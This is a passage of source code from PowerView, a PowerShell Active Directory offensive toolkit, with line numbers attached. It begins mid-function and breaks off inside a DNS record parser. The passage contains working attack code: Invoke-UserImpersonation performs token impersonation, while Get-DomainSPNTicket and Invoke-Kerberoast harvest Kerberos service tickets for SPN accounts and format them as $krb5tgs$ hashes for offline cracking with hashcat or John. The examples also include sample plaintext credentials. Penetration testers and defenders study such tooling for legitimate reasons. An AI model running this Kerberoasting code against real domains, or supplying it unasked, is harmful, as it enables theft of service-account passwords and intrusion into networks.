2544$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
2545$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
2546Add-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' -Credential $Cred
2547
2548.EXAMPLE
2549
2550$Cred = Get-Credential
2551@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection -Credential $Cred
2552#>
2553
2554 [CmdletBinding(DefaultParameterSetName = 'ComputerName')]
2555 Param(
2556 [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
2557 [Alias('HostName', 'dnshostname', 'name')]
2558 [ValidateNotNullOrEmpty()]
2559 [String[]]
2560 $ComputerName,
2561
2562 [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]
2563 [ValidatePattern('\\\\.*\\.*')]
2564 [String[]]
2565 $Path,
2566
2567 [Parameter(Mandatory = $True)]
2568 [Management.Automation.PSCredential]
2569 [Management.Automation.CredentialAttribute()]
2570 $Credential
2571 )
2572
2573 BEGIN {
2574 $NetResourceInstance = [Activator]::CreateInstance($NETRESOURCEW)
2575 $NetResourceInstance.dwType = 1
2576 }
2577
2578 PROCESS {
2579 $Paths = @()
2580 if ($PSBoundParameters['ComputerName']) {
2581 ForEach ($TargetComputerName in $ComputerName) {
2582 $TargetComputerName = $TargetComputerName.Trim('\')
2583 $Paths += ,"\\$TargetComputerName\IPC$"
2584 }
2585 }
2586 else {
2587 $Paths += ,$Path
2588 }
2589
2590 ForEach ($TargetPath in $Paths) {
2591 $NetResourceInstance.lpRemoteName = $TargetPath
2592 Write-Verbose "[Add-RemoteConnection] Attempting to mount: $TargetPath"
2593
2594 # https://msdn.microsoft.com/en-us/library/windows/desktop/aa385413(v=vs.85).aspx
2595 # CONNECT_TEMPORARY = 4
2596 $Result = $Mpr::WNetAddConnection2W($NetResourceInstance, $Credential.GetNetworkCredential().Password, $Credential.UserName, 4)
2597
2598 if ($Result -eq 0) {
2599 Write-Verbose "$TargetPath successfully mounted"
2600 }
2601 else {
2602 Throw "[Add-RemoteConnection] error mounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)"
2603 }
2604 }
2605 }
2606}
2607
2608function Remove-RemoteConnection {
2609<#
2610.SYNOPSIS
2611
2612Destroys a connection created by New-RemoteConnection.
2613
2614Author: Will Schroeder (@harmj0y)
2615License: BSD 3-Clause
2616Required Dependencies: PSReflect
2617
2618.DESCRIPTION
2619
2620This function uses WNetCancelConnection2 to destroy a connection created by
2621New-RemoteConnection. If a -Path isn't specified, a -ComputerName is required to
2622'unmount' \\$ComputerName\IPC$.
2623
2624.PARAMETER ComputerName
2625
2626Specifies the system to remove a \\ComputerName\IPC$ connection for.
2627
2628.PARAMETER Path
2629
2630Specifies the remote \\UNC\path to remove the connection for.
2631
2632.EXAMPLE
2633
2634Remove-RemoteConnection -ComputerName 'PRIMARY.testlab.local'
2635
2636.EXAMPLE
2637
2638Remove-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\'
2639
2640.EXAMPLE
2641
2642@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Remove-RemoteConnection
2643#>
2644
2645 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
2646 [CmdletBinding(DefaultParameterSetName = 'ComputerName')]
2647 Param(
2648 [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
2649 [Alias('HostName', 'dnshostname', 'name')]
2650 [ValidateNotNullOrEmpty()]
2651 [String[]]
2652 $ComputerName,
2653
2654 [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]
2655 [ValidatePattern('\\\\.*\\.*')]
2656 [String[]]
2657 $Path
2658 )
2659
2660 PROCESS {
2661 $Paths = @()
2662 if ($PSBoundParameters['ComputerName']) {
2663 ForEach ($TargetComputerName in $ComputerName) {
2664 $TargetComputerName = $TargetComputerName.Trim('\')
2665 $Paths += ,"\\$TargetComputerName\IPC$"
2666 }
2667 }
2668 else {
2669 $Paths += ,$Path
2670 }
2671
2672 ForEach ($TargetPath in $Paths) {
2673 Write-Verbose "[Remove-RemoteConnection] Attempting to unmount: $TargetPath"
2674 $Result = $Mpr::WNetCancelConnection2($TargetPath, 0, $True)
2675
2676 if ($Result -eq 0) {
2677 Write-Verbose "$TargetPath successfully ummounted"
2678 }
2679 else {
2680 Throw "[Remove-RemoteConnection] error unmounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)"
2681 }
2682 }
2683 }
2684}
2685
2686function Invoke-UserImpersonation {
2687<#
2688.SYNOPSIS
2689
2690Creates a new "runas /netonly" type logon and impersonates the token.
2691
2692Author: Will Schroeder (@harmj0y)
2693License: BSD 3-Clause
2694Required Dependencies: PSReflect
2695
2696.DESCRIPTION
2697
2698This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType
2699to simulate "runas /netonly". The resulting token is then impersonated with
2700ImpersonateLoggedOnUser() and the token handle is returned for later usage
2701with Invoke-RevertToSelf.
2702
2703.PARAMETER Credential
2704
2705A [Management.Automation.PSCredential] object with alternate credentials
2706to impersonate in the current thread space.
2707
2708.PARAMETER TokenHandle
2709
2710An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation.
2711If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser()
2712is executed.
2713
2714.PARAMETER Quiet
2715
2716Suppress any warnings about STA vs MTA.
2717
2718.EXAMPLE
2719
2720$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
2721$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
2722Invoke-UserImpersonation -Credential $Cred
2723
2724.OUTPUTS
2725
2726IntPtr
2727
2728The TokenHandle result from LogonUser.
2729#>
2730
2731 [OutputType([IntPtr])]
2732 [CmdletBinding(DefaultParameterSetName = 'Credential')]
2733 Param(
2734 [Parameter(Mandatory = $True, ParameterSetName = 'Credential')]
2735 [Management.Automation.PSCredential]
2736 [Management.Automation.CredentialAttribute()]
2737 $Credential,
2738
2739 [Parameter(Mandatory = $True, ParameterSetName = 'TokenHandle')]
2740 [ValidateNotNull()]
2741 [IntPtr]
2742 $TokenHandle,
2743
2744 [Switch]
2745 $Quiet
2746 )
2747
2748 if (([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') -and (-not $PSBoundParameters['Quiet'])) {
2749 Write-Warning "[Invoke-UserImpersonation] powershell.exe is not currently in a single-threaded apartment state, token impersonation may not work."
2750 }
2751
2752 if ($PSBoundParameters['TokenHandle']) {
2753 $LogonTokenHandle = $TokenHandle
2754 }
2755 else {
2756 $LogonTokenHandle = [IntPtr]::Zero
2757 $NetworkCredential = $Credential.GetNetworkCredential()
2758 $UserDomain = $NetworkCredential.Domain
2759 $UserName = $NetworkCredential.UserName
2760 Write-Warning "[Invoke-UserImpersonation] Executing LogonUser() with user: $($UserDomain)\$($UserName)"
2761
2762 # LOGON32_LOGON_NEW_CREDENTIALS = 9, LOGON32_PROVIDER_WINNT50 = 3
2763 # this is to simulate "runas.exe /netonly" functionality
2764 $Result = $Advapi32::LogonUser($UserName, $UserDomain, $NetworkCredential.Password, 9, 3, [ref]$LogonTokenHandle);$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();
2765
2766 if (-not $Result) {
2767 throw "[Invoke-UserImpersonation] LogonUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
2768 }
2769 }
2770
2771 # actually impersonate the token from LogonUser()
2772 $Result = $Advapi32::ImpersonateLoggedOnUser($LogonTokenHandle)
2773
2774 if (-not $Result) {
2775 throw "[Invoke-UserImpersonation] ImpersonateLoggedOnUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
2776 }
2777
2778 Write-Verbose "[Invoke-UserImpersonation] Alternate credentials successfully impersonated"
2779 $LogonTokenHandle
2780}
2781
2782function Invoke-RevertToSelf {
2783<#
2784.SYNOPSIS
2785
2786Reverts any token impersonation.
2787
2788Author: Will Schroeder (@harmj0y)
2789License: BSD 3-Clause
2790Required Dependencies: PSReflect
2791
2792.DESCRIPTION
2793
2794This function uses RevertToSelf() to revert any impersonated tokens.
2795If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation),
2796CloseHandle() is used to close the opened handle.
2797
2798.PARAMETER TokenHandle
2799
2800An optional IntPtr TokenHandle returned by Invoke-UserImpersonation.
2801
2802.EXAMPLE
2803
2804$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
2805$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
2806$Token = Invoke-UserImpersonation -Credential $Cred
2807Invoke-RevertToSelf -TokenHandle $Token
2808#>
2809
2810 [CmdletBinding()]
2811 Param(
2812 [ValidateNotNull()]
2813 [IntPtr]
2814 $TokenHandle
2815 )
2816
2817 if ($PSBoundParameters['TokenHandle']) {
2818 Write-Warning "[Invoke-RevertToSelf] Reverting token impersonation and closing LogonUser() token handle"
2819 $Result = $Kernel32::CloseHandle($TokenHandle)
2820 }
2821
2822 $Result = $Advapi32::RevertToSelf();$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();
2823
2824 if (-not $Result) {
2825 throw "[Invoke-RevertToSelf] RevertToSelf() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
2826 }
2827
2828 Write-Verbose "[Invoke-RevertToSelf] Token impersonation successfully reverted"
2829}
2830
2831function Get-DomainSPNTicket {
2832
2833
2834 [OutputType('PowerView.SPNTicket')]
2835 [CmdletBinding(DefaultParameterSetName = 'RawSPN')]
2836 Param (
2837 [Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)]
2838 [ValidatePattern('.*/.*')]
2839 [Alias('ServicePrincipalName')]
2840 [String[]]
2841 $SPN,
2842
2843 [Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)]
2844 [ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })]
2845 [Object[]]
2846 $User,
2847
2848 [Management.Automation.PSCredential]
2849 [Management.Automation.CredentialAttribute()]
2850 $Credential = [Management.Automation.PSCredential]::Empty
2851 )
2852
2853 BEGIN {
2854 $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
2855
2856 if ($PSBoundParameters['Credential']) {
2857 $LogonToken = Invoke-UserImpersonation -Credential $Credential
2858 }
2859 }
2860
2861 PROCESS {
2862 if ($PSBoundParameters['User']) {
2863 $TargetObject = $User
2864 }
2865 else {
2866 $TargetObject = $SPN
2867 }
2868
2869 ForEach ($Object in $TargetObject) {
2870 if ($PSBoundParameters['User']) {
2871 $UserSPN = $Object.ServicePrincipalName
2872 $SamAccountName = $Object.SamAccountName
2873 $DistinguishedName = $Object.DistinguishedName
2874 }
2875 else {
2876 $UserSPN = $Object
2877 $SamAccountName = 'UNKNOWN'
2878 $DistinguishedName = 'UNKNOWN'
2879 }
2880
2881 # if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3
2882 if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) {
2883 $UserSPN = $UserSPN[0]
2884 }
2885
2886 try {
2887 $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
2888 }
2889 catch {
2890 Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_"
2891 }
2892 if ($Ticket) {
2893 $TicketByteStream = $Ticket.GetRequest()
2894 }
2895 if ($TicketByteStream) {
2896 $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
2897 [System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split 'A48201'
2898 $Parts.RemoveAt($Parts.Count - 1)
2899 $Hash = $Parts -join 'A48201'
2900 $Hash = $Hash.Insert(32, '$')
2901
2902 $Out = New-Object PSObject
2903 $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
2904 $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
2905 $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
2906
2907 if ($DistinguishedName -ne 'UNKNOWN') {
2908 $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
2909 }
2910 else {
2911 $UserDomain = 'UNKNOWN'
2912 }
2913
2914 # hashcat output format (and now John's)
2915 $HashFormat = "`$krb5tgs`$23`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
2916
2917 $Out | Add-Member Noteproperty 'Hash' $HashFormat
2918 $Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
2919 Write-Output $Out
2920 }
2921 }
2922 }
2923
2924 END {
2925 if ($LogonToken) {
2926 Invoke-RevertToSelf -TokenHandle $LogonToken
2927 }
2928 }
2929}
2930
2931function Invoke-Kerberoast {
2932
2933
2934 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
2935 [OutputType('PowerView.SPNTicket')]
2936 [CmdletBinding()]
2937 Param(
2938 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
2939 [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
2940 [String[]]
2941 $Identity,
2942
2943 [ValidateNotNullOrEmpty()]
2944 [String]
2945 $Domain,
2946
2947 [ValidateNotNullOrEmpty()]
2948 [Alias('Filter')]
2949 [String]
2950 $LDAPFilter,
2951
2952 [ValidateNotNullOrEmpty()]
2953 [Alias('ADSPath')]
2954 [String]
2955 $SearchBase,
2956
2957 [ValidateNotNullOrEmpty()]
2958 [Alias('DomainController')]
2959 [String]
2960 $Server,
2961
2962 [ValidateSet('Base', 'OneLevel', 'Subtree')]
2963 [String]
2964 $SearchScope = 'Subtree',
2965
2966 [ValidateRange(1, 10000)]
2967 [Int]
2968 $ResultPageSize = 200,
2969
2970 [ValidateRange(1, 10000)]
2971 [Int]
2972 $ServerTimeLimit,
2973
2974 [Switch]
2975 $Tombstone,
2976
2977 [Management.Automation.PSCredential]
2978 [Management.Automation.CredentialAttribute()]
2979 $Credential = [Management.Automation.PSCredential]::Empty
2980 )
2981
2982 BEGIN {
2983 $UserSearcherArguments = @{
2984 'SPN' = $True
2985 'Properties' = 'samaccountname,distinguishedname,serviceprincipalname'
2986 }
2987 if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
2988 if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter }
2989 if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase }
2990 if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
2991 if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
2992 if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
2993 if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
2994 if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
2995 if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
2996
2997 if ($PSBoundParameters['Credential']) {
2998 $LogonToken = Invoke-UserImpersonation -Credential $Credential
2999 }
3000 }
3001
3002 PROCESS {
3003 if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity }
3004 Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket
3005 }
3006
3007 END {
3008 if ($LogonToken) {
3009 Invoke-RevertToSelf -TokenHandle $LogonToken
3010 }
3011 }
3012}
3013
3014function Convert-LDAPProperty {
3015
3016
3017 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
3018 [OutputType('System.Management.Automation.PSCustomObject')]
3019 [CmdletBinding()]
3020 Param(
3021 [Parameter(Mandatory = $True, ValueFromPipeline = $True)]
3022 [ValidateNotNullOrEmpty()]
3023 $Properties
3024 )
3025
3026 $ObjectProperties = @{}
3027
3028 $Properties.PropertyNames | ForEach-Object {
3029 if ($_ -ne 'adspath') {
3030 if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) {
3031 # convert all listed sids (i.e. if multiple are listed in sidHistory)
3032 $ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value }
3033 }
3034 elseif ($_ -eq 'grouptype') {
3035 $ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum
3036 }
3037 elseif ($_ -eq 'samaccounttype') {
3038 $ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum
3039 }
3040 elseif ($_ -eq 'objectguid') {
3041 # convert the GUID to a string
3042 $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
3043 }
3044 elseif ($_ -eq 'useraccountcontrol') {
3045 $ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum
3046 }
3047 elseif ($_ -eq 'ntsecuritydescriptor') {
3048 # $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
3049 $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
3050 if ($Descriptor.Owner) {
3051 $ObjectProperties['Owner'] = $Descriptor.Owner
3052 }
3053 if ($Descriptor.Group) {
3054 $ObjectProperties['Group'] = $Descriptor.Group
3055 }
3056 if ($Descriptor.DiscretionaryAcl) {
3057 $ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl
3058 }
3059 if ($Descriptor.SystemAcl) {
3060 $ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl
3061 }
3062 }
3063 elseif ($_ -eq 'accountexpires') {
3064 if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) {
3065 $ObjectProperties[$_] = "NEVER"
3066 }
3067 else {
3068 $ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0])
3069 }
3070 }
3071 elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) {
3072 # convert timestamps
3073 if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
3074 # if we have a System.__ComObject
3075 $Temp = $Properties[$_][0]
3076 [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
3077 [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
3078 $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
3079 }
3080 else {
3081 # otherwise just a string
3082 $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
3083 }
3084 }
3085 elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) {
3086 # try to convert misc com objects
3087 $Prop = $Properties[$_]
3088 try {
3089 $Temp = $Prop[$_][0]
3090 [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
3091 [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
3092 $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
3093 }
3094 catch {
3095 Write-Verbose "[Convert-LDAPProperty] error: $_"
3096 $ObjectProperties[$_] = $Prop[$_]
3097 }
3098 }
3099 elseif ($Properties[$_].count -eq 1) {
3100 $ObjectProperties[$_] = $Properties[$_][0]
3101 }
3102 else {
3103 $ObjectProperties[$_] = $Properties[$_]
3104 }
3105 }
3106 }
3107 try {
3108 New-Object -TypeName PSObject -Property $ObjectProperties
3109 }
3110 catch {
3111 Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_"
3112 }
3113}
3114
3115function Get-DomainSearcher {
3116
3117
3118 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
3119 [OutputType('System.DirectoryServices.DirectorySearcher')]
3120 [CmdletBinding()]
3121 Param(
3122 [Parameter(ValueFromPipeline = $True)]
3123 [ValidateNotNullOrEmpty()]
3124 [String]
3125 $Domain,
3126
3127 [ValidateNotNullOrEmpty()]
3128 [Alias('Filter')]
3129 [String]
3130 $LDAPFilter,
3131
3132 [ValidateNotNullOrEmpty()]
3133 [String[]]
3134 $Properties,
3135
3136 [ValidateNotNullOrEmpty()]
3137 [Alias('ADSPath')]
3138 [String]
3139 $SearchBase,
3140
3141 [ValidateNotNullOrEmpty()]
3142 [String]
3143 $SearchBasePrefix,
3144
3145 [ValidateNotNullOrEmpty()]
3146 [Alias('DomainController')]
3147 [String]
3148 $Server,
3149
3150 [ValidateSet('Base', 'OneLevel', 'Subtree')]
3151 [String]
3152 $SearchScope = 'Subtree',
3153
3154 [ValidateRange(1, 10000)]
3155 [Int]
3156 $ResultPageSize = 200,
3157
3158 [ValidateRange(1, 10000)]
3159 [Int]
3160 $ServerTimeLimit = 120,
3161
3162 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
3163 [String]
3164 $SecurityMasks,
3165
3166 [Switch]
3167 $Tombstone,
3168
3169 [Management.Automation.PSCredential]
3170 [Management.Automation.CredentialAttribute()]
3171 $Credential = [Management.Automation.PSCredential]::Empty
3172 )
3173
3174 PROCESS {
3175 if ($PSBoundParameters['Domain']) {
3176 $TargetDomain = $Domain
3177 }
3178 else {
3179 # if not -Domain is specified, retrieve the current domain name
3180 if ($PSBoundParameters['Credential']) {
3181 $DomainObject = Get-Domain -Credential $Credential
3182 }
3183 else {
3184 $DomainObject = Get-Domain
3185 }
3186 $TargetDomain = $DomainObject.Name
3187 }
3188
3189 if (-not $PSBoundParameters['Server']) {
3190 # if there's not a specified server to bind to, try to pull the current domain PDC
3191 try {
3192 if ($DomainObject) {
3193 $BindServer = $DomainObject.PdcRoleOwner.Name
3194 }
3195 elseif ($PSBoundParameters['Credential']) {
3196 $BindServer = ((Get-Domain -Credential $Credential).PdcRoleOwner).Name
3197 }
3198 else {
3199 $BindServer = ((Get-Domain).PdcRoleOwner).Name
3200 }
3201 }
3202 catch {
3203 throw "[Get-DomainSearcher] Error in retrieving PDC for current domain: $_"
3204 }
3205 }
3206 else {
3207 $BindServer = $Server
3208 }
3209
3210 $SearchString = 'LDAP://'
3211
3212 if ($BindServer -and ($BindServer.Trim() -ne '')) {
3213 $SearchString += $BindServer
3214 if ($TargetDomain) {
3215 $SearchString += '/'
3216 }
3217 }
3218
3219 if ($PSBoundParameters['SearchBasePrefix']) {
3220 $SearchString += $SearchBasePrefix + ','
3221 }
3222
3223 if ($PSBoundParameters['SearchBase']) {
3224 if ($SearchBase -Match '^GC://') {
3225 # if we're searching the global catalog, get the path in the right format
3226 $DN = $SearchBase.ToUpper().Trim('/')
3227 $SearchString = ''
3228 }
3229 else {
3230 if ($SearchBase -match '^LDAP://') {
3231 if ($SearchBase -match "LDAP://.+/.+") {
3232 $SearchString = ''
3233 $DN = $SearchBase
3234 }
3235 else {
3236 $DN = $SearchBase.SubString(7)
3237 }
3238 }
3239 else {
3240 $DN = $SearchBase
3241 }
3242 }
3243 }
3244 else {
3245 # transform the target domain name into a distinguishedName if an ADS search base is not specified
3246 if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) {
3247 $DN = "DC=$($TargetDomain.Replace('.', ',DC='))"
3248 }
3249 }
3250
3251 $SearchString += $DN
3252 Write-Verbose "[Get-DomainSearcher] search string: $SearchString"
3253
3254 if ($Credential -ne [Management.Automation.PSCredential]::Empty) {
3255 Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection"
3256 # bind to the inital search object using alternate credentials
3257 $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password)
3258 $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject)
3259 }
3260 else {
3261 # bind to the inital object using the current credentials
3262 $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
3263 }
3264
3265 $Searcher.PageSize = $ResultPageSize
3266 $Searcher.SearchScope = $SearchScope
3267 $Searcher.CacheResults = $False
3268 $Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All
3269
3270 if ($PSBoundParameters['ServerTimeLimit']) {
3271 $Searcher.ServerTimeLimit = $ServerTimeLimit
3272 }
3273
3274 if ($PSBoundParameters['Tombstone']) {
3275 $Searcher.Tombstone = $True
3276 }
3277
3278 if ($PSBoundParameters['LDAPFilter']) {
3279 $Searcher.filter = $LDAPFilter
3280 }
3281
3282 if ($PSBoundParameters['SecurityMasks']) {
3283 $Searcher.SecurityMasks = Switch ($SecurityMasks) {
3284 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl }
3285 'Group' { [System.DirectoryServices.SecurityMasks]::Group }
3286 'None' { [System.DirectoryServices.SecurityMasks]::None }
3287 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner }
3288 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl }
3289 }
3290 }
3291
3292 if ($PSBoundParameters['Properties']) {
3293 # handle an array of properties to load w/ the possibility of comma-separated strings
3294 $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') }
3295 $Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad))
3296 }
3297
3298 $Searcher
3299 }
3300}
3301
3302function Convert-DNSRecord {
3303
3304
3305 [OutputType('System.Management.Automation.PSCustomObject')]
3306 [CmdletBinding()]
3307 Param(
3308 [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
3309 [Byte[]]
3310 $DNSRecord
3311 )
3312
3313 BEGIN {
3314 function Get-Name {
3315 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseOutputTypeCorrectly', '')]
3316 [CmdletBinding()]
3317 Param(
3318 [Byte[]]
3319 $Raw
3320 )
3321
3322 [Int]$Length = $Raw[0]
3323 [Int]$Segments = $Raw[1]
3324 [Int]$Index = 2
3325 [String]$Name = ''
3326
3327 while ($Segments-- -gt 0)
3328 {
3329 [Int]$SegmentLength = $Raw[$Index++]
3330 while ($SegmentLength-- -gt 0) {
3331 $Name += [Char]$Raw[$Index++]
3332 }
3333 $Name += "."
3334 }
3335 $Name
3336 }
3337 }
3338
3339 PROCESS {
3340 # $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0)
3341 $RDataType = [BitConverter]::ToUInt16($DNSRecord, 2)
3342 $UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8)
3343
3344 $TTLRaw = $DNSRecord[12..15]
3345
3346 # reverse for big endian
3347 $Null = [array]::Reverse($TTLRaw)
3348 $TTL = [BitConverter]::ToUInt32($TTLRaw, 0)
3349
3350 $Age = [BitConverter]::ToUInt32($DNSRecord, 20)
3351 if ($Age -ne 0) {
3352 $TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString()
3353 }
3354 else {
3355 $TimeStamp = '[static]'
3356 }
3357
3358 $DNSRecordObject = New-Object PSObject
3359
3360 if ($RDataType -eq 1) {
3361 $IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27]
3362 $Data = $IP
3363 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A'
3364 }
3365
3366 elseif ($RDataType -eq 2) {
3367 $NSName = Get-Name $DNSRecord[24..$DNSRecord.length]
3368 $Data = $NSName
3369 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS'
3370 }
3371
3372 elseif ($RDataType -eq 5) {
3373 $Alias = Get-Name $DNSRecord[24..$DNSRecord.length]
3374 $Data = $Alias
3375 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME'
3376 }
3377
3378 elseif ($RDataType -eq 6) {
3379 # TODO: how to implement properly? nested object?
3380 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
3381 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA'
3382 }
3383
3384 elseif ($RDataType -eq 12) {
3385 $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length]
3386 $Data = $Ptr
3387 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR'
3388 }
3389
3390 elseif ($RDataType -eq 13) {
3391 # TODO: how to implement properly? nested object?
3392 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
3393 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO'
3394 }
3395
3396 elseif ($RDataType -eq 15) {
3397 # TODO: how to implement properly? nested object?
3398 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
3399 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX'
3400 }
3401
3402 elseif ($RDataType -eq 16) {
3403 [string]$TXT = ''
3404 [int]$SegmentLength = $DNSRecord[24]
3405 $Index = 25
3406
3407 while ($SegmentLength-- -gt 0) {
3408 $TXT += [char]$DNSRecord[$index++]
3409 }
3410
3411 $Data = $TXT
